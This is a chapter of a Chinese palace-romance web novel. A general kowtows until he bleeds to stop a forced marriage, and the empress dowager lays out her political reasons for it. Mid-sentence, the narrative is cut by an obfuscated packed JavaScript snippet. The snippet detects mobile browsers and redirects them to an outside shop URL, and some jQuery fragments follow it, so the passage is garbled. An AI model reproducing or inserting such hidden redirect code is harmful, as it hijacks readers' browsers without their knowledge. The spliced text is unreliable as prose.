45. 此心唯系一人身

作品:《长嫂攻略计划

    “你!”楚怀黎眼底瞬间猩红,怒火如同火山喷发,再抑制不住。他猛地挥出一拳,带着呼啸的风声,直击萧陌面门!


    萧陌方才中箭是猝不及防,此刻早有防备,身形敏捷地侧身避开,沉声道:“楚怀黎!你打我有什么用?有本事,你去推了……”话说到一半,他骤然收声,意识到接下来的话实属大不敬,不能宣之于口。


    “快住手,殿前动武乃是大罪!”夜旖缃心惊胆战,连忙拉住楚怀黎的胳膊,声音带着急切。


    楚怀黎被她拉住,狂暴的动作微微一滞,他转过头,那双猩红的眸子紧紧锁住她,里面翻涌着无边的痛楚,那深可见骨的绝望几乎要将她吞噬。


    “阿娆……”他的声音嘶哑得不成样子,带着一种濒临崩溃的颤抖,“你是我的……你明明是我的!若早知道,抓住哥舒澈,立功归来,换来的竟是……竟是眼睁睁看着你被指给旁人……我宁愿从未设那个局!宁愿他从此逍遥法外!我只要你!”


    说完,他猛地甩开她的手,却不是冲向萧陌,而是将手中的雕弓狠狠掷在地上,发出“哐当”一声巨响。


    他转身,一步步走到那巍峨殿宇前的汉白玉阶之下,撩起衣袍,毫不犹豫地重重跪了下去!


    “臣,楚怀黎!恳请太后娘娘收回成命!归还吾妻!”


    坚硬的玉石撞击膝盖的声音,沉闷而清晰。他挺直脊背,如同雪地里不屈的青松,仰头向着那敞开的殿门,用尽全身力气高喊,声音穿透云霄,带着孤注一掷的决绝。


    夜旖缃别开脸,泪水瞬间模糊了视线,心口疼得几乎无法呼吸,她低声哀求:“别求了……没用的……”


    “哪怕是万分之一的可能!哪怕是螳臂当车,我也要求!”楚怀黎回头看了她一眼,那眼神坚定如铁。


    “臣楚怀黎!恳请太后收回成命!归还吾妻——!”


    他转回头,不再看她,一遍又一遍,以头触地,每一次叩首都用尽全力,额角迅速红肿破皮,渗出血丝,但他仿佛感觉不到疼痛,只是固执地、一遍又一遍地高呼,声音已然沙哑,却依旧如同惊雷:


    “臣楚怀黎!恳请太后收回成命!归还吾妻——!”


    殿门内,一位面容严肃的老嬷嬷走了出来,径直走向夜旖缃,语气刻板不容置疑:“夜姑娘,太后娘娘吩咐,让奴婢带您去准备好的别院休息,请您随奴婢来吧。”


    夜旖缃下意识地望向那个依旧跪在阶下,一遍遍叩首的身影,心如刀绞。


    楚怀黎似乎有所感应,回眸看向她,额上的血迹在阳光下触目惊心,他却对她露出了一个极其温柔的笑意,沙哑着嗓音对她道:“阿娆,你先随她去,你脚上有伤。乖乖等我,等我的消息。”


    岚贵妃从殿内拾阶而下。


    看到楚怀黎额上那片刺目的红肿与血迹,她脸色骤变,立刻训斥周围呆立的宫人:“你们都是死人吗!就这么眼睁睁看着将军如此伤害自己!还不快扶起来!”


    一个嬷嬷连忙躬身,已然改了口风,小心翼翼回道:“回贵妃娘娘,是……是殿下他执意如此,老奴等实在拦不住啊……”


    “贵妃娘娘!”楚怀黎抬眸,目光灼灼地望向眼前的美妇人,声音因长时间呼喊而沙哑不堪,“求娘娘成全!求母妃,帮帮孩儿!”


    这一声“母妃!”出口,岚贵妃浑身猛地一颤,不敢置信地看着他,眼眶瞬间就红了,泪水迅速积聚。她盼了多久,等了多久,才听到他心甘情愿地唤她一声“母妃”!


    “清儿……”她的声音带着哽咽。


    “母妃!”楚怀黎再次唤道,声音带着压抑的痛苦和不解,“曾经陛下亲口允诺,只要我拿下河西,便准我自行择妻,我做到了!河西如今已是我朝版图!”


    “后来太后又道,只要我能揪出北狄潜伏的密探首领,便不再干涉,我连哥舒澈都亲手捉拿归案,关入天牢!可如今呢?”


    他的声音带着无尽的悲愤与控诉,“如今竟要我将自己的妻子,拱手让人,眼睁睁看着她凤冠霞帔嫁给旁人!如此行径,与夺人所爱何异?这难道就是堂堂南朝皇室应有的做派吗?!这就是对我立功的赏赐吗?!”


    “放肆!你这孩子胡言乱语些什么!”岚贵妃被他这番大逆不道的话惊得脸色发白,连忙示意身后内侍强行将他从地上搀扶起来,语气又急又痛,“你皇祖母,你父皇,哪一样不是为你筹谋,为你打算?”


    “你的正妻之位何等关键,自然要慎之又慎,选一个能助你前程稳固你地位的!你怎么就不明白长辈的苦心?莫要再忤逆,更别伤了长辈的心!”


    楚怀黎被内侍架着胳膊,却依旧挣扎着,他死死盯着岚贵妃,一字一句,斩钉截铁,如同立下誓言,也如同最后的决裂:


    “若是认祖归宗,回归皇室的代价,是要我放弃云娆,眼睁睁看着她另嫁他人……”他眼中是破釜沉舟的决绝,“那这个祖宗,不认也罢!这个皇子,我不做也罢!”


    话音落下,满场皆寂。连风似乎都停止了流动。所有人都被这石破天惊的话语震得魂飞魄散。


    岚贵妃被他这番话震得神魂俱裂,指着他的手指剧烈颤抖,唇色尽失,半晌才从喉咙里挤出一句破碎的呵斥:“逆子……你、你可知你在说什么混账话!这是能随口胡诌的吗?!”


    楚怀黎只是用一种近乎平静却让人心底发寒的眼神看着她,重复道:“孩儿字字真心。”


    “你……你真是疯了!”岚贵妃胸口剧烈起伏,又气又急,厉声对左右道,“还愣着干什么!将军伤痛攻心,神志不清,还不快扶他回房歇息!没有本宫的命令,谁也不准放他出来!今日之事,若有人敢泄露半句,仔细你们的皮!”


    殿内,香炉青烟袅袅。太后稳坐凤座,正翻阅着奏折,抬手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774376|184437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    留下朱批,神色平静无波,仿佛殿外那场惊天动地的风波未曾入耳。


    她身后侍立的一位眉目清秀的女官轻声询问,语气带着不解:“太后娘娘,臣愚钝。何必如此大费周章?依臣之见,直接将那前朝余孽赐死,岂非一了百了,更为稳妥?”


    太后手中的朱笔微微顿了一瞬,笔尖的赤色在宣纸上洇开一小团暗影。她未曾抬头,声音平淡却带着深意:“你这丫头,做事还是太莽撞。她身份特殊,牵一发而动全身,岂能随意赐死?”


    “那样做,岂不是寒了那些尚未完全归心的前朝旧臣的心,徒惹非议,于稳定大局无益。”


    她搁下笔,拿起另一本奏折,缓缓道:“再说,哀家不嫌弃她的身份过往,亲自为她指了萧家这般好的婚事,显我新朝宽仁大度。她活着,安稳地活着,并且得到‘善待’,更能让前朝那些尚在观望的旧臣看到希望,安心归顺,效忠南朝。这,才是上策。”


    “可是……为何一定要赐婚给萧大人呢?”女官依旧有些疑惑。


    太后唇角勾起一抹极淡的、算计精明的弧度:“来日,令仪那孩子是要做槊清的正妃的。而那夜旖缃,若成了令仪的长嫂。”


    “你想想,等来日,槊清坐上了那天下至尊之位,他难道还能不顾人伦礼法,去抢夺自己皇后的长嫂不成?这层关系,便是最好的枷锁。”


    女官恍然大悟,眼中流露出钦佩:“太后娘娘思虑周全,环环相扣,臣受教了。”她恭敬地继续研开那朱红色的墨,殿内恢复了先前的静谧。


    另一边,夜旖缃被安置在凤阙春居的一处精致却僻静的别院里。


    院外有禁军层层守卫,美其名曰保护未来萧少夫人安全,实则为严密的软禁。屋内陈设华丽,锦被绣榻,古玩玉器一应俱全,却冰冷得没有一丝人气,如同一个华丽的牢笼。


    接下来的两日,风平浪静。


    夜旖缃度日如年,脚踝的伤在太医定时诊治下渐渐消肿,可心头却如同压着千钧巨石,日益沉重。


    她不知道楚怀黎情况如何,是被囚禁还是……她不敢深想。不知道太后会如何处置他们这“抗旨不尊”的行为,更不知道那桩被强加的婚约,是否还有一丝微弱的转圜余地。


    每一刻等待,都是煎熬。


    直到第三日黄昏,天色灰蒙,岚贵妃身边一位心腹嬷嬷悄然来到了别院,神色匆匆。


    “夜姑娘,”嬷嬷屏退了左右,关上房门,神色凝重地低声道,“贵妃娘娘让老奴务必给您带句话。”


    夜旖缃心中一紧,连忙起身,指尖微微发凉:“嬷嬷请讲。”


    “将军他……”嬷嬷重重叹了口气,脸上写满了忧心,“自那日在殿前……之后,便被送回房中看管起来。可他……他竟是水米不进,只是固执地跪在院里……任谁去劝,哪怕是娘娘亲自去了,他也一言不发,不为所动。”